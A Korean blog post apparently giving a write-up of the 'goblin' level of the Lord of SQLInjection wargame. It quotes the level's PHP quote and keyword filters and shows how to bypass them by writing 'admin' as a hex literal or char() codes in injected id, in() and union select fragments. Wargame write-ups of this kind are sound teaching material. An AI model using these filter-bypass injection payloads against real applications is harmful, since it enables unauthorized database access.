일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- Mid()
- 부동산
- jeb
- 부동산분석
- 아파트
- 안드로이드
- SQL INJECTION
- 월세
- 웹해킹
- APKManager
- 서울
- 모의해킹
- 호갱노노
- 투자
- 블라인드 인젝션
- 일기
- NOX
- Los
- Lord of SQLInjection
- UnCrackable
- 프리다
- Frida
- 전세
- ADB
- 후킹
- Blind Injection
- webhacking.kr
- 매물
- 아파트실거래가
- 스마트폰
- Today
- Total
일단 쓰고보자
[los] goblin 본문
#문제
#문제 의도
- 입력 값 필터링 규칙 (no)
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
1) prob
2) _
3) .
4) ()
5) '
6) "
7) `
- 목표
필터링을 사용하지 않거나 우회하여 쿼리 결과 id가 admin이면 해결
#확인사항
- prob, _ 문자는 테이블 접근하지 못하도록 걸어둔 것 같고, ()는 특정 함수 쓰지 못하게 걸어둔 것 같다.
- 필터링 문자에 싱글쿼터(')나 더블쿼터(")가 추가 되었다.
- 근데 크게 신경쓰지 않아도 될 만한게, no 파라미터 값은 숫자여서 굳이 싱글쿼터(')를 탈출할 필요가 없다.
- 대신 id 값이 admin 이 되어야 하므로 id='admin' 부분을 싱글쿼터(') 없이 구성해야 한다.
1) HEX 값으로 문자열 생성 (admin 문자열을 HEX 인코딩 후 앞에 0x 문자를 붙임)
id=0x61646D696E
id in (0x61646D696E)
union select (0x61646D696E)
2) char() 함수와 ascii 값으로 문자열 생성
id=char(97,100,109,105,110)
id in (char(97,100,109,105,110))
union select char(97,100,109,105,110)
- 참고로 guest의 no 값이 1이라, 별 생각 없이 no 값으로 1 넣고 계속 인젝션 시도하면 Hello guest만 보게 될거다...
'모의해킹 > Lord of SQLInjection' 카테고리의 다른 글
[los] darkelf (0) | 2020.04.07 |
---|---|
[los] wolfman (0) | 2020.04.07 |
[los] orc (0) | 2020.04.06 |
[los] cobolt (0) | 2020.04.03 |
[los] gremlin (0) | 2020.04.03 |